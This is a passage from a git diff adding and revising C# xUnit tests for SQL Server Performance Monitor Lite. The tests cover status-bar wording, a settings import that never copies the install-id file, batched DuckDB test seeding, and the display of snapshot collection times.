+            ServerTab.ComputeProcOverlayPoints(kept, "TotalReads"));
+        Assert.Equal(2, ServerTab.ComputeProcOverlayPoints(kept, "TotalReads").Count);
+    }
+
+    [Fact]
+    public void QueryOverlay_PlotsEachRowsOwnDelta_NotTheDifferenceFromThePreviousRow()
+    {
+        var history = new List<QueryStatsHistoryRow>
+        {
+            new() { CollectionTime = T0, DeltaCpuUs = 2_000_000 },
+            new() { CollectionTime = T0.AddMinutes(1), DeltaCpuUs = 1_000_000 },
+        };
+
+        var points = ServerTab.ComputeQueryOverlayPoints(history, "TotalCpu");
+
+        Assert.Equal(new[] { (T0, 2000.0), (T0.AddMinutes(1), 1000.0) }, points.ToArray());
+    }
+}
diff --git a/Lite.Tests/ServerTabStatusTextTests.cs b/Lite.Tests/ServerTabStatusTextTests.cs
new file mode 100644
index 0000000000..f4a49ae303
--- /dev/null
+++ b/Lite.Tests/ServerTabStatusTextTests.cs
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// F19 of the Lite click-through: the status bar read "Connected to SQL2025 - Data loaded" right after a server tab was
+/// opened, then "Connected to SQL2022" every time the user switched to a tab, because the switch handler worded the
+/// text on its own without the suffix. One helper words it now, for the open and for every switch.
+/// </summary>
+public class ServerTabStatusTextTests
+{
+    [Fact]
+    public void ConnectedStatusText_KeepsTheLoadedSuffix_AndHasNoneBeforeTheFirstCollection()
+    {
+        Assert.Equal("Connected to SQL2022 - Data loaded", MainWindow.ConnectedStatusText("SQL2022", "Data loaded"));
+        Assert.Equal("Connected to SQL2022 - Collection error: timeout", MainWindow.ConnectedStatusText("SQL2022", "Collection error: timeout"));
+        Assert.Equal("Connected to SQL2022", MainWindow.ConnectedStatusText("SQL2022", null));
+        Assert.Equal("Connected to SQL2022", MainWindow.ConnectedStatusText("SQL2022", ""));
+    }
+
+    [Fact]
+    public void TheTabSwitchHandler_WordsTheStatusThroughTheSharedHelper()
+    {
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "MainWindow.xaml.cs"));
+        var start = source.IndexOf("private void ServerTabControl_SelectionChanged", StringComparison.Ordinal);
+        Assert.True(start > 0, "the tab switch handler moved");
+        var end = source.IndexOf("Refresh alerts tab when selected", start, StringComparison.Ordinal);
+        var body = source.Substring(start, end - start);
+
+        Assert.Contains("ConnectedStatusText(", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("$\"Connected to", body, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/ServerTimeHelperClockTests.cs b/Lite.Tests/ServerTimeHelperClockTests.cs
index ba4afb9ce9..68bc3900a5 100644
--- a/Lite.Tests/ServerTimeHelperClockTests.cs
+++ b/Lite.Tests/ServerTimeHelperClockTests.cs
@@ -470,11 +470,13 @@ public void ServerTab_ConvertsThroughTheClock_AndRereadsItOnEveryRefresh()
         }
 
         var refresh = File.ReadAllText(Path.Combine(controls, "ServerTab.Refresh.cs"));
-        var body = refresh[refresh.IndexOf("private async System.Threading.Tasks.Task RefreshAllDataAsync()", StringComparison.Ordinal)..];
+        /* #5371 moved the full pass's body out of RefreshAllDataAsync (now a one-line request to the refresh coordinator)
+           into RefreshEverythingAsync; the clock-before-window order the pin is about is unchanged. */
+        var body = refresh[refresh.IndexOf("private async Task RefreshEverythingAsync(", StringComparison.Ordinal)..];
         var readClock = body.IndexOf("await RefreshServerClockAsync();", StringComparison.Ordinal);
         var window = body.IndexOf("GetCurrentWindowUtc(", StringComparison.Ordinal);
         Assert.True(readClock >= 0 && window > readClock,
-            "RefreshAllDataAsync has to read the server clock again before it derives the window (#4766).");
+            "The full refresh pass has to read the server clock again before it derives the window (#4766).");
 
         var selected = File.ReadAllText(Path.Combine(controls, "..", "MainWindow.xaml.cs"));
         Assert.Contains("ServerTimeHelper.ActiveServerClock = serverTab.ServerClock;", selected, StringComparison.Ordinal);
diff --git a/Lite.Tests/ServiceBuildSurfaceTests.cs b/Lite.Tests/ServiceBuildSurfaceTests.cs
index 1905577c46..4545b6a84f 100644
--- a/Lite.Tests/ServiceBuildSurfaceTests.cs
+++ b/Lite.Tests/ServiceBuildSurfaceTests.cs
@@ -32,6 +32,7 @@ namespace Lite.Tests;
 /// version is its app assembly's, its rung is the DuckDB initializer's, because a Lite payload carrying
 /// Darling's constants would be precisely wrong on the SKU boundary this tool exists to see across.
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class ServiceBuildSurfaceTests
 {
     [Fact]
diff --git a/Lite.Tests/SessionSummaryStatsCollectorDefinitionTests.cs b/Lite.Tests/SessionSummaryStatsCollectorDefinitionTests.cs
index 8d3bca40ac..cceff3b916 100644
--- a/Lite.Tests/SessionSummaryStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/SessionSummaryStatsCollectorDefinitionTests.cs
@@ -30,7 +30,7 @@ public sealed class SessionSummaryStatsCollectorDefinitionTests
     private const string ExpectedQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     total_sessions = CONVERT(integer, COUNT_BIG(*)),
     running_sessions =
         SUM
diff --git a/Lite.Tests/SettingsFileGuardTests.cs b/Lite.Tests/SettingsFileGuardTests.cs
index a5485cbf1c..04c59dbf94 100644
--- a/Lite.Tests/SettingsFileGuardTests.cs
+++ b/Lite.Tests/SettingsFileGuardTests.cs
@@ -33,6 +33,7 @@ namespace PerformanceMonitorLite.Tests;
 /// parse destroys the only record of the user's real configuration. The copy has to exist BEFORE the write,
 /// and the original has to survive making it.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class SettingsFileGuardTests
 {
     /// <summary>A settings.json a user would recognize: real keys, one syntax error.</summary>
diff --git a/Lite.Tests/SettingsImportTests.cs b/Lite.Tests/SettingsImportTests.cs
new file mode 100644
index 0000000000..59208fd02d
--- /dev/null
+++ b/Lite.Tests/SettingsImportTests.cs
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using Darling.Tests;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #4961 (test 2): Import Settings copies a previous install's settings into this one, and the previous install's
+/// <c>install-id.json</c> must never be among them. Two installs that share an id would share Extended Events
+/// session names, and each would drop the other's sessions: the very defect the id exists to end. The list of what
+/// is copied lives in <see cref="SettingsImport"/>, so it can be read here; and the import handler is pinned to
+/// copy through it, so a second, private list cannot grow back inside the window.
+/// </summary>
+public sealed class SettingsImportTests : IDisposable
+{
+    private static readonly string[] ConfigFileNames = ["settings.json", "collection_schedule.json", "ignored_wait_types.json"];
+
+    private readonly string _root =
+        Path.Combine(Path.GetTempPath(), "lite-import-tests", Guid.NewGuid().ToString("N"));
+
+    public void Dispose()
+    {
+        try
+        {
+            if (Directory.Exists(_root))
+            {
+                Directory.Delete(_root, recursive: true);
+            }
+        }
+        catch
+        {
+            /* Best-effort test cleanup. */
+        }
+    }
+
+    /// <summary>A previous install's data root (with its <c>config</c> folder) or a new install's.</summary>
+    private (string Root, string Config) NewInstall(string name)
+    {
+        var root = Path.Combine(_root, name);
+        var config = Path.Combine(root, "config");
+        Directory.CreateDirectory(config);
+        return (root, config);
+    }
+
+    [Fact]
+    public void TheLists_NameTheSettingsFiles_AndNeverTheInstallIdFile()
+    {
+        Assert.Equal(ConfigFileNames, SettingsImport.ConfigFiles);
+        Assert.Equal(new[] { "alert_state.json" }, SettingsImport.RootFiles);
+
+        var everyName = SettingsImport.ConfigFiles.Concat(SettingsImport.RootFiles);
+        Assert.DoesNotContain(InstallIdStore.FileName, everyName, StringComparer.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void CopyMissing_CopiesTheSettingsFiles_AndNeverTheInstallIdFile()
+    {
+        var old = NewInstall("old");
+        var current = NewInstall("current");
+        foreach (var name in ConfigFileNames)
+        {
+            File.WriteAllText(Path.Combine(old.Config, name), "old " + name);
+        }
+
+        File.WriteAllText(Path.Combine(old.Root, "alert_state.json"), "old alert state");
+
+        /* The previous install's id, in both places a copy could pick it up from. */
+        File.WriteAllText(Path.Combine(old.Root, InstallIdStore.FileName), "{\"id\":\"0123abcd\"}");
+        File.WriteAllText(Path.Combine(old.Config, InstallIdStore.FileName), "{\"id\":\"0123abcd\"}");
+
+        var copied = SettingsImport.CopyMissing(old.Config, old.Root, current.Config, current.Root);
+
+        Assert.Equal(ConfigFileNames.Length + 1, copied);
+        foreach (var name in ConfigFileNames)
+        {
+            Assert.Equal("old " + name, File.ReadAllText(Path.Combine(current.Config, name)));
+        }
+
+        Assert.Equal("old alert state", File.ReadAllText(Path.Combine(current.Root, "alert_state.json")));
+        Assert.False(File.Exists(Path.Combine(current.Root, InstallIdStore.FileName)),
+            "the previous install's id file was copied into the data root");
+        Assert.False(File.Exists(Path.Combine(current.Config, InstallIdStore.FileName)),
+            "the previous install's id file was copied into the config folder");
+    }
+
+    /// <summary>The import has always kept what this install already has; moving the list must not change that.</summary>
+    [Fact]
+    public void CopyMissing_KeepsAFileThisInstallAlreadyHas_AndDoesNotCountIt()
+    {
+        var old = NewInstall("old");
+        var current = NewInstall("current");
+        File.WriteAllText(Path.Combine(old.Config, "settings.json"), "old settings");
+        File.WriteAllText(Path.Combine(old.Config, "ignored_wait_types.json"), "old waits");
+        File.WriteAllText(Path.Combine(current.Config, "settings.json"), "current settings");
+        File.WriteAllText(Path.Combine(old.Root, "alert_state.json"), "old alert state");
+        File.WriteAllText(Path.Combine(current.Root, "alert_state.json"), "current alert state");
+
+        var copied = SettingsImport.CopyMissing(old.Config, old.Root, current.Config, current.Root);
+
+        Assert.Equal(1, copied);
+        Assert.Equal("current settings", File.ReadAllText(Path.Combine(current.Config, "settings.json")));
+        Assert.Equal("old waits", File.ReadAllText(Path.Combine(current.Config, "ignored_wait_types.json")));
+        Assert.Equal("current alert state", File.ReadAllText(Path.Combine(current.Root, "alert_state.json")));
+    }
+
+    /// <summary>
+    /// The handler copies through <see cref="SettingsImport"/> and no longer carries a copy loop and list of its
+    /// own, which is where an id file could be added back without the tests above seeing it.
+    /// </summary>
+    [Fact]
+    public void TheImportHandler_CopiesThroughSettingsImport_NotThroughAListOfItsOwn()
+    {
+        var source = CSharpSourceWalker.StripCommentsAndStrings(
+            File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "MainWindow.xaml.cs")));
+        var at = source.IndexOf("private void ImportSettingsButton_Click(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "MainWindow has the Import Settings handler");
+        var body = CSharpSourceWalker.BraceBalanced(source, source.IndexOf('{', at));
+
+        Assert.Contains("SettingsImport.CopyMissing(", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("File.Copy(", body, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/SharedBaselineCacheTests.cs b/Lite.Tests/SharedBaselineCacheTests.cs
index bebe14c2eb..b8dda2cc28 100644
--- a/Lite.Tests/SharedBaselineCacheTests.cs
+++ b/Lite.Tests/SharedBaselineCacheTests.cs
@@ -116,7 +116,7 @@ public void DailyCacheEntry_AnswersForItsWholeUtcDay_NotJustTheTtl_AndStopsAtMid
     public void TheTier_IsOnePerStore()
     {
         Assert.Same(BaselineCache.For(_duckDb), BaselineCache.For(_duckDb));
-        var other = new DuckDbInitializer(Path.Combine(Path.GetTempPath(), "LiteTests_3941_" + Guid.NewGuid().ToString("N")[..8], "other.duckdb"));
+        using var other = new DuckDbInitializer(Path.Combine(Path.GetTempPath(), "LiteTests_3941_" + Guid.NewGuid().ToString("N")[..8], "other.duckdb"));
         Assert.NotSame(BaselineCache.For(_duckDb), BaselineCache.For(other));
     }
 
diff --git a/Lite.Tests/SharedBaselineModelPinTests.cs b/Lite.Tests/SharedBaselineModelPinTests.cs
index 489c3f5d63..b3d17c9ab5 100644
--- a/Lite.Tests/SharedBaselineModelPinTests.cs
+++ b/Lite.Tests/SharedBaselineModelPinTests.cs
@@ -13,6 +13,7 @@ namespace PerformanceMonitorLite.Tests;
 /// keeps its OWN copy on purpose (<c>PerformanceMonitorDashboard.Analysis</c>) — this pin is
 /// Lite&lt;-&gt;Darling only. Darling.Tests carries the mirror-image pin for the Darling half.
 /// </summary>
+[Trait("Stage", "Guard")]
 public class SharedBaselineModelPinTests
 {
     private const string SharedAssembly = "PerformanceMonitor.Analysis";
diff --git a/Lite.Tests/SharedCollectorDefaultsPinTests.cs b/Lite.Tests/SharedCollectorDefaultsPinTests.cs
index 5a780e085d..51c9257458 100644
--- a/Lite.Tests/SharedCollectorDefaultsPinTests.cs
+++ b/Lite.Tests/SharedCollectorDefaultsPinTests.cs
@@ -24,6 +24,7 @@ namespace Lite.Tests;
 /// <see cref="CollectorScheduleDefaults"/>, and the delta calculator / server-identity idioms
 /// must be the shared implementations — so the two SKUs cannot drift apart silently.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class SharedCollectorDefaultsPinTests
 {
     private static string FindRepoFile(string relativePath)
diff --git a/Lite.Tests/SharedDuckDbFixture.cs b/Lite.Tests/SharedDuckDbFixture.cs
index 113ff84446..49d99414c2 100644
--- a/Lite.Tests/SharedDuckDbFixture.cs
+++ b/Lite.Tests/SharedDuckDbFixture.cs
@@ -78,7 +78,7 @@ public SharedDuckDbFixture()
 
     public async ValueTask InitializeAsync()
     {
-        await DuckDb.InitializeAsync();
+        await DuckDb.InitializeFromTemplateAsync();
 
         /* Snapshot the base tables present after a fresh initialization. ResetData deletes rows
            from exactly this set; the two version-stamp tables are excluded so the schema keeps
@@ -123,6 +123,9 @@ public void ResetData()
 
     public ValueTask DisposeAsync()
     {
+        /* Close the sentinel first (#5208): deleting the folder alone leaves the database open for the life of the test
+           process, one set of threads and handles per class. */
+        DuckDb.Dispose();
         try
         {
             if (Directory.Exists(_tempDir))
@@ -132,3 +135,118 @@ public ValueTask DisposeAsync()
         return default;
     }
 }
+
+/// <summary>
+/// One explicit transaction around a test's per-row seed loop (#5208). DuckDB commits every auto-commit
+/// statement to the WAL, and on a hosted CI disk a commit costs on the order of 0.2 s, so a few hundred
+/// single-row INSERTs turned into minutes. Inside this batch they share one commit.
+///
+/// <para>The batch changes WHEN the rows commit, nothing else: the seeding code keeps taking the read lock
+/// around each statement exactly as before, and so do BEGIN and COMMIT here. The batch must be committed
+/// (<see cref="Commit"/> or dispose) BEFORE the code under test reads, because the code under test opens its
+/// own connection and sees only committed rows. Commit on dispose is best-effort for the same reason
+/// <c>TestDataSeeder</c>'s own batch is: if the seed threw, the test is already failing, and a commit error
+/// must not mask that exception.</para>
+/// </summary>
+internal sealed class SeedBatch : IDisposable
+{
+    private readonly DuckDbInitializer _duckDb;
+    private readonly DuckDB.NET.Data.DuckDBConnection _connection;
+    private bool _open;
+
+    public SeedBatch(DuckDbInitializer duckDb, DuckDB.NET.Data.DuckDBConnection connection)
+    {
+        _duckDb = duckDb;
+        _connection = connection;
+        Run("BEGIN TRANSACTION");
+        _open = true;
+    }
+
+    /// <summary>Commits now, so the rows are visible to the code under test. Safe to call twice.</summary>
+    public void Commit()
+    {
+        if (!_open) return;
+        _open = false;
+        Run("COMMIT");
+    }
+
+    public void Dispose()
+    {
+        try { Commit(); }
+        catch { /* the test is already failing; don't mask its exception */ }
+    }
+
+    private void Run(string sql)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = _connection.CreateCommand();
+        cmd.CommandText = sql;
+        cmd.ExecuteNonQuery();
+    }
+}
+
+/// <summary>
+/// Seeding for tests that call a one-statement helper many times between reads (#5208). Each helper call used to open
+/// its own connection and auto-commit one INSERT, which is one WAL commit (about 0.2 s on a hosted CI disk) per call.
+/// Here every <see cref="ExecuteAsync"/> joins one open <see cref="SeedBatch"/>, and <see cref="Flush"/> commits it.
+///
+/// <para>The owner must call <see cref="Flush"/> BEFORE anything reads: the code under test opens its own connection
+/// and sees only committed rows. The tests do that by building every <c>LocalDataService</c> through a method that
+/// flushes first, so a seed that follows an act (seed, act, seed again) still commits before the next act reads.</para>
+/// </summary>
+internal sealed class PendingSeedSession : IDisposable
+{
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDB.NET.Data.DuckDBConnection? _connection;
+    private SeedBatch? _batch;
+
+    public PendingSeedSession(DuckDbInitializer duckDb) => _duckDb = duckDb;
+
+    /// <summary>The session's one open connection, inside its open transaction. Callers must not dispose it.</summary>
+    public async Task<DuckDB.NET.Data.DuckDBConnection> ConnectionAsync()
+    {
+        if (_connection == null)
+        {
+            var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            _connection = connection;
+            _batch = new SeedBatch(_duckDb, connection);
+        }
+
+        return _connection;
+    }
+
+    public async Task ExecuteAsync(string sql, params object?[] values)
+    {
+        var connection = await ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var value in values)
+        {
+            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = value ?? DBNull.Value });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>Commits what has been seeded and closes the connection. Safe to call when nothing is pending.</summary>
+    public void Flush()
+    {
+        if (_connection == null) return;
+        try { _batch?.Commit(); }
+        finally
+        {
+            _batch?.Dispose();
+            _batch = null;
+            _connection.Dispose();
+            _connection = null;
+        }
+    }
+
+    public void Dispose()
+    {
+        try { Flush(); }
+        catch { /* the test is already failing; don't mask its exception */ }
+    }
+}
diff --git a/Lite.Tests/SignificantWaitsToolTests.cs b/Lite.Tests/SignificantWaitsToolTests.cs
index b2f62bb66f..193c1b1276 100644
--- a/Lite.Tests/SignificantWaitsToolTests.cs
+++ b/Lite.Tests/SignificantWaitsToolTests.cs
@@ -88,8 +88,11 @@ public async Task ThreeKindsOfNothing_AreThreeDifferentAnswers()
         Assert.Contains("NOT an all-clear", neverText, StringComparison.Ordinal);
         Assert.DoesNotContain("widen", neverText, StringComparison.OrdinalIgnoreCase);
 
-        /* Captured, but outside the asked-for window: a quiet window, and widening IS the move. */
+        /* Captured, but outside the asked-for window: a quiet window, and widening IS the move. The collector's runs
+           cover the window (#4966): with no run in it, the store would hold nothing for the window at all, the notice
+           would say the window is cut, and the quiet claim would rightly give way to the cut sentence. */
         await SeedWaitAsync(LoadFixture("wait_info.xml"), Truncate(DateTime.UtcNow.AddHours(-48)));
+        await SeedCollectorRunsAsync(Truncate(DateTime.UtcNow.AddHours(-3)), Truncate(DateTime.UtcNow), everyMinutes: 30);
 
         var quiet = await McpHealthParserTools.GetSignificantWaits(service, _serverManager, ServerName, 1, 50);
         var quietRoot = JsonDocument.Parse(quiet).RootElement;
@@ -171,6 +174,26 @@ private async Task<DuckDBConnection> SeedConnectionAsync()
         return _seedConn;
     }
 
+    /// <summary>The system_health collector's logged runs, one every <paramref name="everyMinutes"/> from
+    /// <paramref name="firstUtc"/> to <paramref name="lastUtc"/>: what shows the store covered a window with no event in it.</summary>
+    private async Task SeedCollectorRunsAsync(DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, 'system_health_events', g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = firstUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = lastUtc });
+        await cmd.ExecuteNonQueryAsync();
+        _nextId += 100_000;
+    }
+
     private async Task SeedWaitAsync(string eventXml, DateTime eventTimeUtc)
     {
         using var readLock = _duckDb.AcquireReadLock();
diff --git a/Lite.Tests/SnapshotCollectedTimeTests.cs b/Lite.Tests/SnapshotCollectedTimeTests.cs
new file mode 100644
index 0000000000..f5f63aa1b7
--- /dev/null
+++ b/Lite.Tests/SnapshotCollectedTimeTests.cs
@@ -0,0 +1,205 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: a surface that draws the NEWEST snapshot (of the whole store, or of the selected range) says when that snapshot
+/// was collected, so a reader can tell a stale snapshot from a fresh one. A grid does it with a <c>Collected</c> column,
+/// the way the Automatic Tuning grid does: the row's collection time in the display zone, to the second, sorted by the
+/// stored instant (the XAML side of that is pinned in <see cref="GridTimeColumnSortMemberTests"/>, whose table lists
+/// every such column). A summary strip does it with <c>Collected</c> and the time at its end.
+///
+/// <para>The tests here pin the text each row type words, that rows from different snapshots each show their own time, and
+/// where each summary strip's figure comes from and sits.</para>
+/// </summary>
+/* Installs ServerTimeHelper.ActiveServerClock and CurrentDisplayMode, process-wide mutable statics; joins the
+   collection every other class that writes them uses. */
+[Collection("server-time-helper")]
+public sealed class SnapshotCollectedTimeTests : IDisposable
+{
+    private readonly ServerClock _savedClock = ServerTimeHelper.ActiveServerClock;
+    private readonly TimeDisplayMode _savedMode = ServerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose()
+    {
+        ServerTimeHelper.ActiveServerClock = _savedClock;
+        ServerTimeHelper.CurrentDisplayMode = _savedMode;
+    }
+
+    private static string Name(Type type) => type.AssemblyQualifiedName!;
+
+    /// <summary>(the row type, the text property its Collected column binds, the stored UTC instant it is worded from).</summary>
+    public static TheoryData<string, string, string> SnapshotRows => new()
+    {
+        { Name(typeof(CpuSchedulerGridRow)), "CollectionTimeLocal", "CollectionTime" },
+        { Name(typeof(LatchStatsSnapshotRow)), "CollectionTimeLocal", "CollectionTime" },
+        { Name(typeof(SpinlockStatsSnapshotRow)), "CollectionTimeLocal", "CollectionTime" },
+        { Name(typeof(ServerConfigRow)), "CaptureTimeLocal", "CaptureTime" },
+        { Name(typeof(DatabaseConfigRow)), "CaptureTimeLocal", "CaptureTime" },
+        { Name(typeof(DatabaseScopedConfigRow)), "CaptureTimeLocal", "CaptureTime" },
+        { Name(typeof(QueryStoreHealthRow)), "CaptureTimeLocal", "CaptureTime" },
+        { Name(typeof(TraceFlagRow)), "CaptureTimeLocal", "CaptureTime" },
+        { Name(typeof(RunningJobRow)), "CollectionTimeLocal", "CollectionTime" },
+    };
+
+    private static object NewRow(string rowTypeName, string storedProperty, DateTime storedUtc)
+    {
+        var type = Type.GetType(rowTypeName, throwOnError: true)!;
+        var row = Activator.CreateInstance(type)!;
+        var stored = type.GetProperty(storedProperty, BindingFlags.Public | BindingFlags.Instance);
+        Assert.True(stored is { CanWrite: true }, $"{type.Name} has no settable {storedProperty}.");
+        stored!.SetValue(row, storedUtc);
+        return row;
+    }
+
+    private static string TextOf(object row, string textProperty)
+    {
+        var property = row.GetType().GetProperty(textProperty, BindingFlags.Public | BindingFlags.Instance);
+        Assert.True(property != null, $"{row.GetType().Name} has no public property {textProperty}, so its Collected column has no text to show.");
+        return (string)property!.GetValue(row)!;
+    }
+
+    /// <summary>
+    /// The text is the stored instant in the display zone, to the second: 16:27:06Z is 12:27:06 on a US Eastern clock in
+    /// October (UTC-4) and 16:27:06 in UTC mode. The seconds are non-zero on purpose, so a format that drops them fails.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(SnapshotRows))]
+    public void TheCollectedText_IsTheStoredInstant_InTheDisplayZone_ToTheSecond(string rowTypeName, string textProperty, string storedProperty)
+    {
+        var row = NewRow(rowTypeName, storedProperty, DisplayZoneFixtures.At(2026, 10, 3, 16, 27, 6));
+        ServerTimeHelper.ActiveServerClock = ServerClock.Resolve("Eastern Standard Time", -300);
+
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+        Assert.Equal("2026-10-03 12:27:06", TextOf(row, textProperty));
+
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+        Assert.Equal("2026-10-03 16:27:06", TextOf(row, textProperty));
+    }
+
+    /// <summary>
+    /// The second 01:30 of the autumn change day (06:30:05Z on a US Eastern clock) keeps its -05:00 suffix, which a wall
+    /// clock round trip would lose: the text is worded from the stored instant, not from a server wall clock.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(SnapshotRows))]
+    public void TheCollectedText_OfTheRepeatedHour_KeepsItsOffset(string rowTypeName, string textProperty, string storedProperty)
+    {
+        var row = NewRow(rowTypeName, storedProperty, DisplayZoneFixtures.At(2026, 11, 1, 6, 30, 5));
+        ServerTimeHelper.ActiveServerClock = ServerClock.Resolve("Eastern Standard Time", -300);
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+
+        Assert.Equal("2026-11-01 01:30:05 -05:00", TextOf(row, textProperty));
+    }
+
+    /// <summary>
+    /// A surface whose rows come from different snapshots shows each row's own time: the text is worded per row, from the
+    /// row's own stored instant, and not from a time the surface holds once.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(SnapshotRows))]
+    public void RowsFromDifferentSnapshots_EachShowTheirOwnTime(string rowTypeName, string textProperty, string storedProperty)
+    {
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+        var older = NewRow(rowTypeName, storedProperty, DisplayZoneFixtures.At(2026, 10, 3, 9, 15, 30));
+        var newer = NewRow(rowTypeName, storedProperty, DisplayZoneFixtures.At(2026, 10, 3, 16, 27, 6));
+
+        Assert.Equal("2026-10-03 09:15:30", TextOf(older, textProperty));
+        Assert.Equal("2026-10-03 16:27:06", TextOf(newer, textProperty));
+    }
+
+    /// <summary>
+    /// The three summary strips end with the snapshot's time: a "Collected" label and a named value, last in the strip,
+    /// and the code that fills the strip words that value from the snapshot's own collection time. The Session Stats strip
+    /// reads the NEWEST collection inside the last bucket (the one its Top Application and Top Host come from), not the
+    /// bucket's grid time.
+    /// </summary>
+    [Theory]
+    [InlineData("MemoryCollectedText", "SqlMemoryModelText", "Collected")]
+    [InlineData("PlanCacheCollectedText", "PlanCacheRecommendationText", "Collected:")]
+    [InlineData("SessionStatsCollectedText", "SessionStatsDatabasesText", "Collected:")]
+    public void ASummaryStrip_EndsWithItsSnapshotsCollectedTime(string valueName, string previousLastValueName, string label)
+    {
+        var xaml = ReadRepoFile("Lite/Controls/ServerTab.xaml");
+
+        var valueAt = xaml.IndexOf($"x:Name=\"{valueName}\"", StringComparison.Ordinal);
+        var previousAt = xaml.IndexOf($"x:Name=\"{previousLastValueName}\"", StringComparison.Ordinal);
+        Assert.True(valueAt > 0, $"{valueName} is not in ServerTab.xaml.");
+        Assert.True(previousAt > 0 && previousAt < valueAt, $"{valueName} does not come after {previousLastValueName}, so it is not at the end of its strip.");
+
+        /* Between the strip's old last value and the new one there is only the label of the new one. */
+        var between = xaml[previousAt..valueAt];
+        Assert.Contains($"Text=\"{label}\"", between);
+        Assert.DoesNotContain("x:Name=", between[(between.IndexOf('>') + 1)..]);
+
+        /* Nothing follows the new value inside its strip: the next element is a close tag. */
+        var afterValue = Regex.Match(xaml[valueAt..], @"/>\s*(?<next><[^>]*>)");
+        Assert.True(afterValue.Success && afterValue.Groups["next"].Value.StartsWith("</", StringComparison.Ordinal),
+            $"{valueName} is followed by {afterValue.Groups["next"].Value}, not the end of its strip.");
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/ServerTab.Charts.cs", @"MemoryCollectedText\.Text\s*=\s*SnapshotCollectedText\(\s*stats\?\.CollectionTime\b")]
+    [InlineData("Lite/Controls/ServerTab.PlanCache.cs", @"PlanCacheCollectedText\.Text\s*=\s*SnapshotCollectedText\(\s*summary\.CollectionTime\b")]
+    [InlineData("Lite/Controls/ServerTab.SessionStats.cs", @"SessionStatsCollectedText\.Text\s*=\s*SnapshotCollectedText\(\s*data\?\.LatestCollectionTime\b")]
+    [InlineData("Lite/Controls/ServerTab.CpuScheduler.cs", @"CpuSchedulerGrid\.ItemsSource\s*=\s*CpuSchedulerGridRow\.Build\(")]
+    public void TheCodeThatFillsASurface_WordsTheTimeFromTheSnapshotsOwnCollectionTime(string file, string expected)
+    {
+        var code = ReadRepoFile(file);
+        Assert.True(Regex.IsMatch(code, expected), $"{file} does not match /{expected}/.");
+    }
+
